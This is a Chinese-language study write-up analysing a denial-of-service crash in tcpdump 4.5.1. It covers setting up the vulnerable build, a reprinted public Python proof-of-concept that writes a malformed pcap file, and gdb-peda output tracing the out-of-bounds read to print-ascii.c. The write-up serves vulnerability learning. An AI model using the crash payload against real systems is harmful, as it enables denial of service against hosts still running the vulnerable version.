[二进制step1]TCPDUMP 4.5.2 拒绝服务漏洞分析

学习来源:

https://whereisk0shl.top/post/2016-10-23-1

https://bbs.kanxue.com/thread-261984.htm

环境

kali-linux-2022.4-vmware-i386 要x86的

下载链接

https://cdimage.kali.org/kali-2022.4/kali-linux-2022.4-vmware-i386.7z

之前用的这个Kali-Linux-2019.4-vmware-amd64安装一直报错,也有可能是网络的原因,下午换了镜像换了一个网络之后,环境和安装都很顺利

剩下步骤就按照参考的来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 卸载默认安装的tcpdump
apt-get --purge remove tcpdump
# 安装依赖包
apt install flex
apt install bison
# 安装libpcap
wget http://www.tcpdump.org/release/libpcap-1.5.3.tar.gz
tar -zxvf libpcap-1.5.3.tar.gz
cd libpcap-1.5.3
./configure
make
make install
# 安装tcpdump
wget http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
tar -zxvf tcpdump-4.5.1.tar.gz
cd tcpdump-4.5.1
./configure
make
make install
# 验证安装
tcpdump --version

因为全新的环境没有调试工具记录下安装gdb和gdbpeda

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb
下载
wget http://ftp.gnu.org/gnu/gdb/gdb-11.2.tar.gz
解压
tar -zxvf gdb-11.2.tar.gz
生成makefile文件
./configure
检查文件
make
安装
sudo make install
验证
gdb -v

peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

调试

poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS

from subprocess import call
from shlex import split
from time import sleep

def crash():

command = 'tcpdump -r crash'

buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'

with open('crash', 'w+b') as file:
file.write(buffer)

try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")

def main():

print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")

sleep(2)
crash()

if __name__ == "__main__":
main()

生成crash文件

1
2
3
python2 poc.py

Exploit successful!

crash文件内容

gdb执行tcpdump 然后执行run -r crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@kali:~/tcpdump-dos# gdb tcpdump

gdb-peda$ run -r crash

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x7ffef2b3
EBX: 0x51cff4 --> 0x11ce70
ECX: 0x2e ('.')
EDX: Cannot access memory address
ESI: 0x5
EDI: 0x0
EBP: 0xbfffdbdd ("......")
ESP: 0xbfffdb60 --> 0xf375846
EIP: 0x41a6cc (<hex_and_ascii_print_with_offset+156>: movzx esi,BYTE PTR [edx+0x1])
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x41a6bf <hex_and_ascii_print_with_offset+143>: mov eax,DWORD PTR [esp+0x14]
0x41a6c3 <hex_and_ascii_print_with_offset+147>: cmp eax,0xffffffff
0x41a6c6 <hex_and_ascii_print_with_offset+150>: je 0x41a7c7 <hex_and_ascii_print_with_offset+407>
=> 0x41a6cc <hex_and_ascii_print_with_offset+156>: movzx esi,BYTE PTR [edx+0x1]
0x41a6d0 <hex_and_ascii_print_with_offset+160>: movzx edi,BYTE PTR [edx]
0x41a6d3 <hex_and_ascii_print_with_offset+163>: add edx,0x2
0x41a6d6 <hex_and_ascii_print_with_offset+166>: sub esp,0xc
0x41a6d9 <hex_and_ascii_print_with_offset+169>: mov DWORD PTR [esp+0x2c],edx
[------------------------------------stack-------------------------------------]
0000| 0xbfffdb60 --> 0xf375846
0004| 0xbfffdb64 --> 0xb7fc34a0 --> 0xb7c00000 --> 0x464c457f
0008| 0xbfffdb68 --> 0xb7c09934 --> 0x0
0012| 0xbfffdb6c --> 0xbfffdbc3 --> 0x30303000 ('')
0016| 0xbfffdb70 --> 0x5
0020| 0xbfffdb74 --> 0x7ffef2b3
0024| 0xbfffdb78 --> 0x0
0028| 0xbfffdb7c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
hex_and_ascii_print_with_offset (ident=0x4aadef "\n\t", cp=0x610000 <error: Cannot access memory at address 0x610000>, length=0xfffffff3, oset=0x21a80) at ./print-ascii.c:90
90 s1 = *cp++;

执行bt命令查看函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gdb-peda$ bt
#0 hex_and_ascii_print_with_offset (ident=0x4aadef "\n\t",
cp=0x610000 <error: Cannot access memory at address 0x610000>,
length=0xfffffff3, oset=0x21a80) at ./print-ascii.c:90
#1 0x0041a8d6 in hex_and_ascii_print (ident=0x4aadef "\n\t",
cp=0x5ee575 "\377\377\377\347\067\020\340\377\377\377\377\350'\017\360\377\377\377\377\351\026\362\340\377\377\377\377\352\006\361\360\377\377\377\377\352\366\324\340\377\377\377\377\353\346\323\360\377\377\377\377\354\340\021", length=0xfffffff3) at ./print-ascii.c:127
#2 0x0046dd13 in ndo_default_print (ndo=0x5ea9c0 <Gndo>,
bp=0x5ee575 "\377\377\377\347\067\020\340\377\377\377\377\350'\017\360\377\377\377\377\351\026\362\340\377\377\377\377\352\006\361\360\377\377\377\377\352\366\324\340\377\377\377\377\353\346\323\360\377\377\377\377\354\340\021", length=0xfffffff3) at ./tcpdump.c:2053
#3 0x0041850c in ieee802_15_4_if_print (ndo=0x5ea9c0 <Gndo>, h=0xbfffde10,
p=<optimized out>) at ./print-802_15_4.c:180
#4 0x0046e348 in print_packet (user=0xbfffdef0 "\300\251^", h=0xbfffde10,
sp=0x5ee560 "@\377") at ./tcpdump.c:1950
#5 0x004905ef in pcap_offline_read (p=0x5ee350, cnt=0xffffffff,
callback=0x46e2f0 <print_packet>, user=0xbfffdef0 "\300\251^")
at ./savefile.c:409
#6 0x004808b3 in pcap_loop (p=0x5ee350, cnt=0xffffffff,
callback=0x46e2f0 <print_packet>, user=0xbfffdef0 "\300\251^")
at ./pcap.c:849
#7 0x004119b5 in main (argc=<optimized out>, argv=0xbffff0f4)
at ./tcpdump.c:1569
#8 0xb7c23295 in ?? () from /lib/i386-linux-gnu/libc.so.6
#9 0xb7c23358 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#10 0x00412747 in _start ()
gdb-peda$

函数调用过程

_start ()

__libc_start_main() libc.so 6行

main tcpdump.c:1569

pcap_loop pcap.c:849

pcap_offline_read savefile.c:409

print_packet tcpdump.c:1950

ieee802_15_4_if_print print-802_15_4.c:180

ndo_default_print ./tcpdump.c:2053

hex_and_ascii_print ./print-ascii.c:127

hex_and_ascii_print_with_offset print-ascii.c:90

漏洞是打印时引用了非法地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
gdb-peda$ s

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x7ffef2b3
EBX: 0x51cff4 --> 0x11ce70
ECX: 0x2e ('.')
EDX: Cannot access memory address
ESI: 0x5
EDI: 0x0
EBP: 0xbfffdbdd ("......")
ESP: 0xbfffdb60 --> 0xf375846
EIP: 0x41a6cc (<hex_and_ascii_print_with_offset+156>: movzx esi,BYTE PTR [edx+0x1])
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x41a6bf <hex_and_ascii_print_with_offset+143>: mov eax,DWORD PTR [esp+0x14]
0x41a6c3 <hex_and_ascii_print_with_offset+147>: cmp eax,0xffffffff
0x41a6c6 <hex_and_ascii_print_with_offset+150>: je 0x41a7c7 <hex_and_ascii_print_with_offset+407>
=> 0x41a6cc <hex_and_ascii_print_with_offset+156>: movzx esi,BYTE PTR [edx+0x1]
0x41a6d0 <hex_and_ascii_print_with_offset+160>: movzx edi,BYTE PTR [edx]
0x41a6d3 <hex_and_ascii_print_with_offset+163>: add edx,0x2
0x41a6d6 <hex_and_ascii_print_with_offset+166>: sub esp,0xc
0x41a6d9 <hex_and_ascii_print_with_offset+169>: mov DWORD PTR [esp+0x2c],edx
[------------------------------------stack-------------------------------------]
0000| 0xbfffdb60 --> 0xf375846
0004| 0xbfffdb64 --> 0xb7fc34a0 --> 0xb7c00000 --> 0x464c457f
0008| 0xbfffdb68 --> 0xb7c09934 --> 0x0
0012| 0xbfffdb6c --> 0xbfffdbc3 --> 0x30303000 ('')
0016| 0xbfffdb70 --> 0x5
0020| 0xbfffdb74 --> 0x7ffef2b3
0024| 0xbfffdb78 --> 0x0
0028| 0xbfffdb7c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
hex_and_ascii_print_with_offset (ident=0x4aadef "\n\t", cp=0x610000 <error: Cannot access memory at address 0x610000>, length=0xfffffff3, oset=0x21a80) at ./print-ascii.c:90
90 s1 = *cp++;
gdb-peda$